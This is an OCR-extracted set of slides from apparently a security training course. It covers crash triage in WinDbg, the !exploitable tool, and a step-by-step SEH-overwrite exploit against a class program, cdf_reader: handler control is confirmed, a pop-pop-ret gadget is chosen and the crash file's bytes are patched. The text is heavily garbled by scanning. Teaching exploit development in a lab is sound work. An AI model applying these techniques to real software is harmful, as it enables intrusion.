68125927 7434 je SDLISDL_DisplayFormat+0=4d (6812595d)

68125929 31db HOT ebx,ebx

6812592b fe0201 test byte ptr [edx].1l

6812592e 7522 jne SDLISDL_DisplayFormat+0x42 (68125952)

* Exploitable/not exploitable?
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Crash example

|(86c.288): Access violation - code c0000005 {(first chance)

First chance ezxceptions are reported before any exception handling.

This exception may be expected and handled.

eax=000000de ebx=000007ff ecx=0000002b edx=00000000 esi=00345ecc =di=00130

eip=7855aed8 esp=0012fa90 ebp=0012fa98 iopl=0 nv up i pl nz na pe
ce=001b =s=0023 d=s=0023 es=0023 f==003b g==0000 efl=00010
MSVCRY90 | LeadUpVec+0x2c:

7855aed8 f3alb rep movs dword ptr es:[edi].dword ptr [esi]
0:000> kv

ChildEEP RetAddr Args to Child

0012fa98 785569ed 0012fb6d 00345239 0000053f MSVCRI90!LeadUpVec+0x2c [f:N\dd
0012fabd4 785504b6 0012fbed fffffffe 00345a39 HSVCRI0!memcpy_s+0xda (FPO: [
0012faeB8 78550680 0012fb6c fff£f£f££f 00000001 HMSVCRY90!_fread_nolock_s+0xdc

0012fb30 785506be 0012fbec ffffffff 00000001 MSVCRO0!fread_s+0x75 (FPO: [N
0012fb4c 00401094 0012fb6c 00000001 00000800 MSVCRY90!fread+0x18 (FPO: [Hon
0012ff6c deadbeef deadbeef deadbeef deadbeef seh_overflow!read_file+0x84
WARNING: Frame IP not in any known module. Following frames may be wrong.

0012ffc0 deadbeef deadbeef deadbeef deadbeef (0zdeadbeef

0012ffc4 deadbeef deadbeef deadbeef deadbeef 0zdeadbeef

0012ffc8 deadbeef deadbeef deadbeef deadbeef 0zdeadbeef

0012ffcc deadbeef deadbeef deadbeef deadbeef (0xzdeadbeef

0012f£d0 deadbeef deadbeef deadbeef deadbeef 0zdeadbeef

0012ffd4 deadbeef deadbeef deadbeef deadbeef (0zdeadbeef

0012ff{d8 deadbeef deadbeef deadbeef deadbeef 0zdeadbeef

0012ffdc deadbeef deadbeef deadbeef deadbeef 0zdeadbeef

0012ffel deadbeef deadbeef deadbeef deadbeef 0zdeadbeef

0012ffed deadbeef deadbeef deadbeef deadbeef 0zdeadbeef

0012ffe8 deadbeef deadbeef deadbeef deadbeef 0zdeadbeef

0012ffec deadbeef deadbeef deadbeef deadbeef 0zdeadbeef

0012fff0 deadbeef deadbeef deadbeef 78746341 (Oxdeadbeef

0012fff4 deadbeef deadbeef 78746341 00000020 Oxdeadbeef

0:000> !exchain

0012fb20: MSVCRY90!_except_handlerd+0 (7858cf3e)

0012ffb0: deadbeef

Invalid exception stack at deadbeef

* Exploitable/non exploitable?
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Crash example

(BSU.SCE): Access violation — code c0000005 (first chance)
First chance exceptions are reported before any exception handling.

Thi=s exception may be expected and handled.
eax=0012fflc ebx=7f£{df000 ecx=0012f{flc edx=41414141 e=i=0012fddc edi=0012{f£f68

eip=004114db esp=0012fddc ebp=0012f£f68 iopl=0 nv up €1 pl zr na pe nc

cs=001b ===0023 d=s=0023 es=0023 f{f==003b g==0000 efl1=00010246

*%% ERROR: Module load completed but symbols could not be loaded for .exe
%Dxllfldh:

004 db 8b02 nowv eax,.dword ptr [ed=x] d=:0023:41414141=2727?72727272?7

* Exploitable/non exploitable?

185



Example continued

0:000> g

(850.3c0): Access violation - code c0000005 {(first chance)

First chance exceptions are reported before any exception handling.

Thi= exception may be expected and handled.

eax=0012fflc ebx=7f{fdf000 ecx=0012fflc ed=x=41414141 e=si=0012fddc edi=0012f£f68
eip=004114db esp=0012fddc ebp=0012f£f68 iopl=0 nv up 1 pl zr na pe nc
cs=001b ===0023 ds=0023 e=s=0023 {==003b gs=0000 efl=00010246
*%% ERROR: Module load completed but symbols could not be loaded for

0=114db:

004114db 8 nov eax,.dword ptr [edx] ds:0023:41414141=7772727272727
0:000> u ei

O -1 11

004114db 8b02 nowv eax,dwvord ptr [edx]

004114dd ££d0 call eax

004114df 3bf4 cmp egli, esp

0D4114el e8B82fcffff call 0Dx11168 (00411168)
0D04114e6 33cO HOTr Sax, eax

0041148 52 push edx

0041149 8becd nowv ecx, ebp

004114eb S0 push eax

e How about now?
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Difficult crash dump

(7c8.ec): Access wviolation — code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=0012f701 ebx=05e644lc ecx=00000008 =d=x=00641994 e=1=000005f4 =di=00000000
eip=00000008 esp=0012{8a0 ebp=00000001 iopl=0 nv up 21 pl zr na pe nc

cs=001b =s=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
goooooog ?7? 77

0:000> u eip

goooooog ?7? ??7?

Memory access error in 'u eip'’
0:000> kv

ChildEEFP RetAddr Args to Child

WARNING: Frame IP not in any known module. Following frames may be wrong.
0012£89c 00000000 OQOOOQOOOQ1 OQOOOQOOOE OQOOOQOO01 0=8

<
0:000> |

 Sometimes the crashes you get provide no

context because the process has been too far
corrupted.
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Rules of thumb

It is difficult to tell right away the implications
of a bug just by looking at state during crash.

Often it is easy to determine exploitability, for
instance, if EIP=41414141

Non-exploitability is harder.

In order to make stronger statement about
the security implications of a crash, you really
need to reproduce the crash and step through
the crash in a debugger.



Example crash analysis

CRASH DETECTED

cdf_reader.exe:00401066 mov al,[esi] from thread 3200 caused access violation
when attempting to read from ©x018663b5

CONTEXT DUMP
EIP: 00401066 mov al,[esi]
EAX: 00000003 ( 3) -> N/A
EBX: ©0f715c0 ( 16192960) -> OO ©0 ©0 OO OO OO OO OO OO OO 0 OO PO 00 00 0O
00 00 00 PO PO OO PO PO OO OO OO OO OO OO PO OO OO OO OO OO OO OO OO OO 0O 00 00
00 OO OO OO OO OO OO OO OO OO OO OO OO OO OO OO OO OO OO OO OO OO OO 0O 00 00 ©
© 00 00 00 PO PO PO PO PO PO OO OO OO OO OO OO OO OO OO OO OO OO OO PO 00 00 00
00 00 00 PO OO PO OO PO OO OO OO OO OO OO OO OO OO OO OO OO OO OO OO OO OO 00 00
00 OO0 0O OO OO OO PO OO PO OO OO PO OO OO PO OO OO OO OO PO 0O OO PO 00 O 00 ©
© 00 00 OO PO OO PO OO 0 PO 00 PO 00 00 00 00 00 (heap)
ECX: 00000000 ( @) -> N/A
EDX: ©0eee0lc ( 28) -> N/A
EDI: 00000003 ( 3) -> N/A
ESI: ©18663b5 ( 25584565) -> N/A

* This crash looks interesting to me.

* |'m crashing on a bad dereference, but esi is not null, ruling out the
obvious null pointer deference case. Let’s be generous and assume
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Crash analysis continued

0x0040106f push edi

0x00401070 push dword ©x100
0x00401075 mov [esp+Oxc],al
Ox00401079 lea eax,[esp+0x14]
0x0040107d push byte ©xe
0x0040107f push eax
Ox00401080 mov [esp+Ox15],cl

SEH unwind:
0012ffe@ -> cdf_reader.exe:00401945 mov edi,edi
ffffffff -> kernel32.d1l1l:7c839ad8 push ebp

CRASH COUNT: 2@

* | note that this is crash 20, which means the
offending file should be stored in crash_20.cdf

e Let’s run that in the debugger to get a closer
look.
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Crash analysis continued

*%% ERROR: Module load completed but symbols could not be loaded for cdf_reader.exe
cdf_reader+0=x1066:

00401066 B8alb nov al.byte ptr [e=si] d=:0023:0186645d=7?7
Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

0:000> r

eax=00000003 ebx=00£715c0 ecx=00000000 ed=x=0000001c esi=0186645d edi=00000003
eip=00401066 esp=0012fc38 ebp=0036c5b0 i1opl=0 nv up i pl nz ac po nc
ce=001b =s==0023 ds=0023 e=s=0023 f==003b gs=s=0000 efl=00210212
cdf_reader+0=x1066:

00401066 B8alb nov al.byte ptr [e=si] d=:0023:0186645d=77

0:000> u eip
*%% ERROR: Symbol file could not be found. Defaulted to export symbols for C:Nclass™c
cdf_reader+0=x1066:

00401066 8alb nov al.byte ptr [e=si]

00401068 Badel4 nov cl.byte ptr [esi+d]

0040106b 8a5608 nov dl.byte ptr [esi+8]

0040106e 53 push ebx

0040106f 57 push edi

00401070 6800010000 push offset <Unloaded_AN32 .dll>+0=xf£f (00000100)
00401075 8844240c nov byte ptr [esp+0Ch].al

00401079 8d442414 lea eax, [esp+1l4h]

0:000> db esi
0186645d 2?7 27 27 29 7 0070 00 =700 00000 0070 000 0707 0000

0186646d 7?7 7?7 27 27 97 0 97 =070 007 007 70 007 007 070 007 099290999900

0186647d 27 272 22 22 22 22 22 272-22 22 22 22 22 22 27 27 2222222222222272?

0186648d 27 27 7?7 27 2?7 7 27 =070 090 070 097 097 097 07 07 2990999099297

0186649d 27 272 272 272 27 7 7 =000 077097 097 097 7 007 099099099007

018664ad 7?7 7?7 27 27 77 7?0 7 =070 007 097 70 007 007 77 007 0992909999900

018664bd 27 272 22 22 22 22 22 272-22 22 22 22 22 22 22 27 2222222222222272?

018664cd 27 27 272 272 7 7 7 =00 090 070099 097 007 007 007 290090007

* Even assuming we control ESI, which we aren’t really
sure about, ESl isn’t being used in many interesting
ways, so I’'m not too excited about this crash.
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Your Turn

Look at your crash log file, pick out a crash you
think looks interesting.

Reproduce the crash in WinDBG so you can
get a better feel for the state of the program
at crash time.

Try to find one you feel confident is
exploitable.

Also try to find a crash you feel is not
exploitable.



Questions you should be asking
yourself

What instruction did | crash on?
Is the EIP/exception chain corrupted?

What registers do | think | control at the time
of the crash?

What function did | crash in?
Do | control the arguments to that function?

What is the state of the stack during the
crash?



Automated crash analysis

This exception may be expected and handled.

eax=00000003 ebx=00£715c0 ecx=00000000 edx=0000001c e=i=0186644d edi=00000003
eip=00401066 esp=0012{c38 ebp=0036cS5bl0 iopl=0 nv up 21 pl nz ac po nc
c==001b ===0023 d=s=0023 e=s=0023 f==003b g=s=0000 efl=00210212

*%% ERROR: Module load completed but symbols could not be loaded for cdf_reader.exe

cdf_reader+0=x1066:
00401066 8al6 nowv al.bvte ptr [esi] d=:0023:0186644d=77

Mis=ing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
0:000> .load msec

0:000> l!exploitable
*%% ERROR: Symbol file could not be found. Defaulted to export symbols for C:class\cdf“cdf_reader:Release\SDL.dll -

Exploitability Classification: UNKHNOWHN
Recommended Bug Title: Data from Faulting Address is used as one or more arguments in a subsequent Function Call start

The data from the faulting address i= later used as one or more of the arguments to a function call.

* Microsoft has developed a windbg module that
will automatically attempt to classify a bug as
exploitable/non-exploitable/unknown.

e To use it, run “.load msec” to load the module,
then “lexploitable” after the crash as occurred to

attempt to automatically classify the crash.
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lexploitable

* lexploitable is using some pretty simple heuristics
to attempt to classify a crash. For instance, if the
crash occurs at a call instruction, it automatically
classifies a bug as exploitable.

* lexploitable is far from perfect, it will classify

some bugs as not-exploitable that are exploitable
and vice-versa.

 However, it can be useful as a triaging tool to
help you prioritize which bugs to investigate first,
especially if you are a software engineer with
limited security experience.



lexploitable experimentation

* Revisit some of the cdf reader crashes you
generated while fuzzing. Use lexploitable to
automatically generate a crash classification.
Do you agree/disagree with the classification?



Crash analysis lessons

* Asyou probably noticed, not all of your crashes were
unique. Many of the crashes were the same type (null
pointer dereference), or crashed at the same EIP.

 The more unique crashes you can cause your fuzzer to
generate, the better.

 To generate more unique crashes, you should make
sure your fuzzer is exercising all features of the target
application. In our case we were exercising all of cdf
reader’s features: displaying a background, displaying a
window title, drawing some text.



Crash analysis lessons 2

Determining crash exploitability is harder than you
might think.

It’s easy to spot something very obviously exploitable
(eip=41414141), but its hard to rule out a crash as not-
exploitable.

There could be some technique you are unaware of
that allows you to exploit what you deemed an
unexploitable scenario.

Extensive research is being done to help automate the
process of determining crash exploitability.

What you can do is rank the crashes in terms of how
exploitable they seem, and start from the top of the
list.



From Crash to Cash

MSVCR90.d11:7855ae7a rep movsd from thread 2132 caused access violation
when attempting to write to ©x00130000

CONTEXT DUMP
EIP: 7855ae7a rep movsd
EAX: ab8f4df5 (2878295541)
EBX: ©00015c0 ( 5568)
ECX: 2abfff57 ( 717225815)
EDX: ©0000002 2)

(
EDI: 00130000 ( 1245184)
(

ESI: ©08f5097 9392279) ee ff 00
ff ff 66 60 ff 66 33 ff 66 66 99 ff
cc 66 ff cc 99 ff cc cc ff f+ ff 00
e9 01 00 B8 ff 80 ff 09 1c ao cl 83
1c 49 b2 a4 c9 93 28 53 aa b2 a5 c¢cb
2a 5d ca b4 a9 d3 a7 50 a3 4a b5 ea
23 ae (heap)

EBP: @0l12fcfc ( 1244412) (stack)
ESP: 0012fcf4 4d 8f ©0

In my fuzzing, crash 1 looks promising.
It it crashing in @ memcpy (rep movsd) which is good

The source parameter of the memcpy (esi) also looks like its pointing at valid
memory.



[1] Microsoft Windows XP x86 DEBUG Build Environment

C:\class\cdf\cdf_reader\Release>copy Z:\classmaterial\crash_docs\crash_1.cdf Z:\classmaterial\crash

docs\exploitl.cdf
1 file(s) copied.

C:\class\cdf\cdf_reader\Release>

* Let’'s make a copy of the crash file and get to
work building our exploit.
* First step, recreate the crash in windbg.



(f0c.f64):

Access violation — code c0000005 (first chance)

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ab8fdefd ebx=000015c0 ecx=2abfffS5f ed=x=00000002 e=s1=008£f510f edi=00130000

eip=7855ae7a e=sp=0012fdl4 ebp=0012fdlc i1opl=0

c==001b

===0023

ds=0023

MSVCR90 I memcpy+0=x5a:

7855ae7a

Missing image name,
Missing image name,
0:000> kv

f3ab

es=0023

f==003b

nv up i1 pl nz ac po nc

g=s=0000 efl=00210212

rep movs dword ptr es:[edi].dword ptr [e=si]

possible paged-out or corrupt data.
possible paged-out or corrupt data.

*%% ERROR: Module load completed but symbols could not be loaded for cdf_reade:

ChildEEP
0012fdlc
WARNING:

0012£d420
0012fd24
0012£d470
0012fd474
0012£d478
0012fd7c
0012£d80
0012fd84

RetAddr
0040118c

0012£d470
008f4e?f
79616420
69616820
4947756Db
61393546
01=90208
oooooooon

Args to
OUlZfd?U

D08fde?f
ab00000e
69616820
4947756Db
61393546
01=e90208
0O0000D£E7
oogoooo0

f@g,fggin

ab00000e
0012£d470
4947756b
61393846
01=e90208
000000£7
ooso0000
ooso0000

0012£d470
oooooooon
613935846
01e90208
000000£7
00300000
0os00000
oooogosn

ab00000e MSVCRY90 !memcpy+0x5a (CONV: cdecl)
Stack unwind 1nforma 1on not available.

Following frames may be wrong.
cdf_reader+0xl118c

<Unloaded_AN32 dll>+0=x12fd6f
¢{Unloaded_AN32 .dll>+0=x8fde7e
0=x79616420

0=x69616820

0=x4947756b

0=61393846

<Unloaded_AN32 dll>+0x1e90207

First question: Do we control the data causing
the overflow?
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0:000> db 8fde?f

008fde?f 7a 65 72 6f 20 64 61 79-20 68 61 69 6b 75 47 49 =zero day haikuGI
008fd4e8f 46 38 39 61 08 02 =9 01-f7 00 00 00 00 OO 80 00 F8%a............
008f4=9f 00 00 80 00 80 80 00 00-00 B0 80 00 80 OO 80 80 ... ..............
D08fdeaf 80 80 80 cO0 cO cO ££f 00-00 OO £f 00 ££ ££ 00 OO0 . ... ... ..........
D08fd4ebf 00 £f £f 00 f£f 00 £f ff-ff £f £f 00 00 OO OO OO . ... ............
008fd4ect 00 00 00 OO OO OO OO0 O00-00 OO OO OO0 OO OO OO QOO ... ... ... .....
008fd4edf 00 00 00 OO OO OO OO0 00-00 OO OO OO0 OO OO OO OO ... ... ... .....
008fd4eef 00 00 OO0 OO OO OO OO0 OO0-00 OO OO OO0 OO OO OO OO ... .. ... ... ...

* That looks promising, but how do we really
know we control it and can manipulate it?
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HxD - [Z:\classmaterialicrash_docslexploit1.cdf]

‘_5‘] File Edit Search Yiew #analysis Extras Window ?

: 2 O R T v | ans v | hex v

& exploit1.cdf \
Offset(h) 00 01 02 03 04 05 06 07 08 09 04 OB OC OD OE OF
00000000 43 44 46 03 02z 00 OO0 E2 01 00 OO 20 00 00 00 1IC CDF....&... ....
00000010 OO0 00 OO0 QOE OO OO AB O3 OO0 OO0 OO CO 15 00 0O g . ..... «....i...
00000020 [EElrraay 20 64 61 79 20 68 61 69 6B 75 47 49 46 gErog day haikuGIF
00000030 38 39 61 08 02z E9 01 F7 00 OO0 OO 0O 0O 80 00 OO 89%a..&.-..... €..
ooo00040 00 80 00 80 80 00 OD OO 80 80 00O 80 DO 80 80O 80 .£.€£€...€€.£.€€
QooooOos0 80 80 CO CO CO FF OO OO QOO FF OO FF FF 00 0O 0O €€ﬁiﬁ?...?.§i§i. -
00000060 FF FF 00 FF 00 FF FF FF FF FF 00 00 00 00 00 00  §%.%. GHiii. .....
00000070 00 00 OO0 OO OO0 OO OO OO OO0 OO0 OO0 OO0 DO OO0 DO 0D v e et e ennnnnnns
00000080 00 00 OO0 OO OO0 OO OO0 OO0 OO0 OO0 OO0 OO0 DO OO0 D0 0D v e et e e nnnnnnns
00000020 00 00 OO0 OO OO0 OO OO0 OO OO0 OO0 OO OO0 OO OO0 OO0 0D v e et e e nnnnnnns
O00000AD OO OO0 OO0 OO OO0 OO0 OO0 OO0 OO0 OO0 OO0 OO0 DO OO0 OO0 0D v e et i e nnnnnnns

The origin of the data causing the overflow is
our cdf file, so we can control the data used in
the overflow. Good news so far...
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0:000> l!exchain
<Unloaded_AN32 .dll>+cbffff (00cc0000)
Invalid exception stack at ccffff99
0:000> lteb
TEB at 7££df000
Exceptionlist:
StackBase:
StackLimit:
SubSy=stenTib:
FiberData:

0012f£fb0:

ArbitraryUserPointer:

Self:

EnvironmentPointer:

ClientId:

RpcHandle:

Tls Storage:
PEB Address:
LastErrorValue:

LastStatusValue:

Count Owned Locks:

HardErrorHode:

0:000> db 12f£fb0

0012f£b0
0012ffcO
0012££d0
0012ffel
D012f££0
00130000
00130010
00130020

99
0o
99
cc
99
41
cd
14

ff

ff
cC
33
99
cC
74

00
00

0012f££b0
00130000
00126000
00000000
00001=00
00000000
7££df000
00000000
00000£f0c .
00000000
00152bcO
7f£db000
0
c0000135

00-33
00-cc
cc—-66
b6—ff
cc—cc
noo-01
00-20
00-06

nono0nfed

........ 3..f..
...... 3..33.3f.3
.3.0.3. . f. £33 ff
N PR S 3.
.
Act= ... ... $.
............ 4.

* The exception handler is being overwritten

before its called. Also good.

* But do we control the exception handler as well?

204



HxD - [Z:\classmaterial\crash_docs\exploit1.cdf]
2_3] File Edit Search Yiew Analysis Extras Window ?

S M ey 16 v | ANSI v hex v

i) exploit1.cdf

Offset (h) 00 01 02 03 04 05 06 07 08 09 0OA OB OC OD OE OF

00000170 C€C 99 33 CC CC 33 CC FF 33 FF 00 33 FF 33 33 FF  I=3IIsiv¢3v.3933v
00000180 66 33 FF 99 33 FF CC 33 FF FF 66 00 00 66 00 33 f£3¢™3vI3yye..£.3
00000190 66 00 66 66 00 99 66 00 CC 66 00 FF 66 33 00 66 f£.ff.™f.If.yf3.f
00000140 33 33 66 33 66 66 33 99 66 33 CC 66 33 FF 66 66 33f3ff3™f3If3vff
DO0ODD1BOD 00 66 66 33 66 66 66 66 66 99 66 66 CC 66 66 FF ff3fffff™ffiffy
000001CO 66 99 00 66 99 33 66 99 66 66 99 99 66 99 CC 66 ™, f™3fmfremfmif
000001D0 99 FF 66 CC 00 66 CC 33 66 CC 66 66 CC 99 66 CC =yfI.fIZfIffi=fl
ODO0O0OD1ED CC 66 CC FF 66 FF 00 66 FF 33 66 FF 66 66 FF 99 IfIyfy.fy3fyffy™
0DO0O0O01FO0 66 FF CC 66 FF FF 99 00 00 99 00 33 99 00 66 99 f£yIfyy™..m.3m =
00000200 00 99 99 00 CC 99 00 FF 99 33 00 99 33 33 99 33 . »m Im gw3 mygmy
00000210 66 99 33 99 99 33 CC 99 33 FF 99 66 00 99 66 33 fm3mmyImgyme mfj
00000220 99 66 66 99 66 99 99 66 CC 99 66 FF 99 99 00 99 ®ffmfomf jmfimm m
00000230 99 33 99 99 66 99 99 99 99 99 CC 99 99 FF 99 CC ™3wasfrmmmo Jomgm ]
00000240 00 99 CC 33 99 CC 66 99 CC 99 99 CC CC 99 CC FF .mIzmifmismIimiy
00000250 99 FF 00 99 FF 33 99 FF 66 99 FF 99 99 FF CC [Ef =y.my3myrmymmyif
000002 60 CC 00 66 CC 00 99 CC 00 [
00000270 CC CC 00 FF CC 33 00 CC 33 33 CC 33 66 CC 33 99 II.vI3.I33Izfisz™
00000280 CC 33 CC CC 33 FF CC 66 00 CC 66 33 CC 66 66 CC I3II3yIf.If3Iffl

* Looks promising. Let’s try changing the exception
handler record and rerunning the program to see
if we do in fact control the exchain by
manipulating these bytes.
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HxD - [Z:\classmaterial\crash_docsexploit1.cdf]
2_5] File Edit Search Yiew Analysis Extras Window ?
B v b e B e 16 v ANSI v hex v

i) exploit1,cdf ‘

Offset(h) 00 01 0Z 03 04 05 06 07 08 09 OA OB OC OD OE OF

00000170 CC 99 33 CC CC 33 CC FF 33 FF 00 33 FF 33 33 FF I™3II3I¢3¢.3¥%33%
00000180 66 33 FF 99 33 FF CC 33 FF FF 66 00 00 66 00 33 f£3¢™3¢I3yyf..£.3
00000190 66 00 66 66 00 99 66 00 CC 66 00 FF 66 33 00 66 f.ff.®f.If.y£3.f
00000140 33 33 66 33 66 66 33 99 66 33 CC 66 33 FF 66 66 33f3ff3™f3If3yff
0DO0O01BO 00 66 66 33 66 66 66 66 66 99 66 66 CC 66 66 FF ff3fffff™ffiffy
000001CO 66 99 00 66 99 33 66 99 66 66 99 99 66 99 CC 66 ™, fB3fmffoemgmis
000001DO0 99 FF 66 CC 00 66 CC 33 66 CC 66 66 CC 99 66 CC ™yfI.fIZfIffi=rl
OO0O0O01ED CC 66 CC FF 66 FF 00 66 FF 33 66 FF 66 66 FF 99 IfIyfy.fy3fyfey™
OOD0O01F0 66 FF CC 66 FF FF 99 00 00 99 00 33 99 00 66 99 fyIfyy™. .. 3™, =
00000200 00 99 99 00 CC 99 00 FF 99 33 00 99 33 33 99 33 == Im ymg myzmy
00000210 66 99 33 99 99 33 CC 99 33 FF 99 66 00 99 66 33 fm3mmyimgyme me3
00000220 99 66 66 99 66 99 99 66 CC 99 66 FF 99 99 00 99 ™ffmfomf jmfjmm m
00000230 99 33 99 99 66 99 99 99 99 99 CC 99 99 FF 99 CC ™3»mifzmmmms oo
00000240 00 99 CC 33 99 CC 66 99 CC 99 99 CC CC 99 CC FF . mIzmifmizm]imiy
00000250 99 FF 00 99 FF 33 99 FF 66 99 FF 99 99 FF CC 11 ™4 ®yg3myrmgmmy]
00000260 22 33 44 55 66 77 88 B3 CC 00 66 CC 00 99 CC 00 "3DUfw 3I.£I.=i.
00000270 CC CC 00 FF CC 33 00 CC 33 33 CC 33 66 CC 33 99 II.#I3.I33I3fisz™

* Bytes changed to place holder values for
testing purposes...
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7855ae7a f3al rep movs dword ptr es:[edi].dword ptr [esi]

Missing image name, possible paged-out or corrupt data.

Mis=sing image name, possible paged-out or corrupt data.

0:000> db 12£f£fb0

*%¥% ERROR: Module load completed but symbols could not be loaded for cdf_reader
0012ffb0 11 22 33 44 55 66 77 88-33 cc 00 66 cc 00 99 cc . "3DUfw.3. . f....

0012ffc0 00 cc cc 00 ff cc 33 00-cc 33 33 cc 33 66 cc 33 ... ... 3..33.3f.3
0012f£fd0 99 cc 33 cc cc 33 ff cc—-66 00 cc 66 33 cc 66 66 .. 3..3. . f. . £f3 . ff
0012ffel cc 66 99 cc 66 cc cc 66—ff cc 99 00 cc 99 33 cc £, . £. . £...... 3.
0012f£f£f0 99 66 cc 99 99 cc 99 cc—cc 99 ff cccc 00 cc e Jf ... L.
00130000 41 63 74 78 20 00 00 00-01 00 OO0 OO0 9c 24 00 00 Act= ........ $..
00130010 <4 00 00 0O 0O 0O 0O 00-20 00 OO0 OO OO OO OO OO .. ...... .......
00130020 14 00 00 0O 01 0O OO 0OO0-06 OO OO OO 34 00 OO0 OO ... ... ... 4. ..

0:000> lemxchain

0012ffb0: 88776655

Invalid exception stack at 44332211

0:000> g

(6bc.720): Access wviolation — code c0000005 {(first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebzx=00000000 ecx=88776655 edx=7c9032bc e=si1i=00000000 edi=00000000

e1p=88776655 esp=0012£944 ebp=0012£964 1opl=0 nv up €1 pl zr na pe nc
ce=001b ===0023 d=s=0023 es=0023 f==003b g==0000 efl=00210246
88776655 7?7 ??7?

* Create, we have demonstrated control over the exception
handler by modifying those bytes in the cdf file.

 We also know parts of those bytes will be used as a
function pointer.
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Pop-pop-ret

* We need the exception chain function pointer

to point to a pop-pop-ret instruction as we
encountered yesterday.

* Furthermore, this pop-pop-ret construction
must come from a non-safeseh module.



0:000> Inmod

00400000 00407000 cdf_reader /SafeSEH ON /G5 *ASLR *DEP cdf_reader.exe

5ad?70000 S5adaB8000 uxtheme sSafeSEH ON -GS C: N\WINDOWS\system32™uxthemne.dll

62240000 62264000 SDL_image /SafeSEH OFF C:~classcdfscdf_readersRelease \SDL_image.dll
62280000 6229£000 zlibl +SafeSEH OFF C:nclasshcdf cdf_reader:\Release>zlibl .dll
67c00000 67c78000 libfreetype_6 /SafeSEH OFF C:~class cdf~cdf_reader\Release\libfreetype-6.dll
68100000 68159000 SDL /SafeSEH OFF C:~class~cdf~cdf_reader\Release SDL.dll
688£f0000 688£9000 HID NO_SEH C:A\WINDOWSN\systemn32\HID.DLL

6f4c0000 6f4cf000 SDL_ttf sSafeSEH OFF C:~class cdf~cdf_reader\ReleaseSDL_ttf .dll
72280000 72222000 DINPUT sSafeSEH ON /GS C:N\WINDOWUSNsystemn3d2\DINFUT.DLL

73£10000 73f6c000 DSOUND sSafeSEH ON /GS C:A\WINDOUSNsysten3d2\DSOUND . DLL

74720000 7476c000 MSCTF /SafeSEH ON /GS C:N\WINDOWUS \systemn3d2 \HSCTF .dl1l

755c0000 755000 msctfime sSafeSEH ON /GS C:N\WINDOWUS\systemnd2 \nsctfime. ine

* Unsurprisingly, the 37 party graphics engine I’'m
using for CDF graphics rendering is not
compatible with SafeSEH.

* Thus if we can find a pop-pop-ret sequence in
any of those modules, we can point our
exception handler function pointer at it, and we’ll
be in business.

* Challenge: who can find a valid pop-pop-ret first?
Don’t cheat and look at the next slide!
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6760-6;_1"1 6éé4iif5' - —. - - - - — - — - - = — - - - - - — - ] & SSees o EmE_s A s A s = ==
*%% ERROR: Symbol file could not be found. Defaulted to export symbols for C:Nclasshcdf>cdf_re
SDL_image! ING _Init+0=xdc:

62edldfc Se pop esi

62ed4l14fd 5d pop ebp

62edlife c3 ret

62edl14ff 90 nop

62241500 8bl504d0ed62 nowv edx,dword ptr [SDL_image! IMG_LoadWEBFP_RW+0x3cbh4 (62e4d004)]
62241506 be01000000 nov esi,offset <Unloaded_AN32.dl11l> (00000001)

62e4150b fec201 test dl.1

62e4150e 89d0 nowv eax, edx

* There are actually a bunch in those SDL
modules, take your pick.

e Ox62e414fc will do.
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E8 HxD - [Z:\classmaterial\crash_docs\exploit1.cdf]
2_6'] File Edit Search Yiew Analysis Extras Window ?

B v b e 16 v NS v hex v

g W
£

6| exploitl,cdf

Offset (h) 00 01 02 03 04 05 06 07 05 09 0OA OB OC OD OE OF

00000170 CC 99 33 CC CC 33 CC FF 33 FF 00 33 FF 33 33 FF  I™3II3Ivy3v.3¢33¢
00000180 66 33 FF 99 33 FF CC 33 FF FF 66 00 00 66 00 33 f£39™3vI3g¢ye..£.3
00000190 66 00 66 66 00 99 66 00 CC 66 00 FF 66 33 00 66 f£.ff.™f.If.yf3.f
0O0O0D1A0 33 33 66 33 66 66 33 99 66 33 CC 66 33 FF 66 66 33f3ff3™f3If3¥ff
DOO0OD1BOD 00 66 66 33 66 66 66 66 66 99 66 66 CC 66 66 FF ff3fffff™ffiffy
000001CO 66 99 00 66 99 33 66 99 66 66 99 99 66 99 CC 66 ™, fm3fmfremgmis
000001D0 99 FF 66 CC 00 66 CC 33 66 CC 66 66 CC 99 66 CC ™yfI.fI3fiffi=rl
DOO0OD1ED CC 66 CC FF 66 FF 00 66 FF 33 66 FF 66 66 FF 99 IfIyfy.fy3fyffy™
DOO0OD1FO0 66 FF CC 66 FF FF 99 00 00 99 00 33 99 00 66 99 fylIfyy™..m. 3m, =
00000200 00 99 99 00 CC 99 00 FF 99 33 00 99 33 33 99 33, »m, Im gwm3 mygmy
00000210 66 99 33 99 99 33 CC 99 33 FF 99 66 00 99 66 33 fm3mmyImgymg mfj
00000220 99 66 66 99 66 99 99 66 CC 99 66 FF 99 99 00 99 ®ffmfomif jmgfimm m
00000230 99 33 99 99 66 99 99 99 99 99 CC 99 99 FF 99 CC ™3@msfommmm Jmmo ]
00000240 00 99 CC 33 99 CC 66 99 CC 99 99 CC CC 99 CC FF .mIzmifmizmIimiy
00000250 99 FF 00 99 FF 33 99 FF 66 99 FF 99 99 FF CC EEB mv.M§3mvfmvmmvié
00000260 06 00 00 FC 14 E4 62 CC CC CC CC CC 00 99 CC 00 ...M5.&bIIiii.mi.

00000270 C€C CC 00 FF CC 33 00 CC 33 33 CC 33 66 CC 33 99 II.vIz.I3sistiz=
00000280  CC 33 cc cc 33 FF cc 66 oo cc 66 33 CC 66 66 CC ISIISyIf If3Iffl

nnnnnnnn ~r AS AA AS me ETAT ST ToZiTTA TTAA T

* | change the exception handler to the pop-pop-ret we discovered.

* This will point EIP to the bytes just before the function pointer. Originally
11 22 33 44, | have changed them to eb 06 00 00, which are the opcodes
for relative jump forward 6 bytes.

 That jmp forward 6 bytes should put us at the OxCC bytes | hacked in after
the pop-pop-ret function pointer. These are software breakpoint bytes,
and the debugger should cause a break to occur if our EIP gets there.
Let’s see...
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SUCCeSS

(380.230): Access violation — code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=abB8fde8d ebx=000015c0 ecx=2abfffS5f edx=00000002 esi1i=008£510f edi=00130000

eip=7855ae7a esp=0012£fd14 ebp=0012fdlc iopl=0 nv up e1 pl nz ac po nc
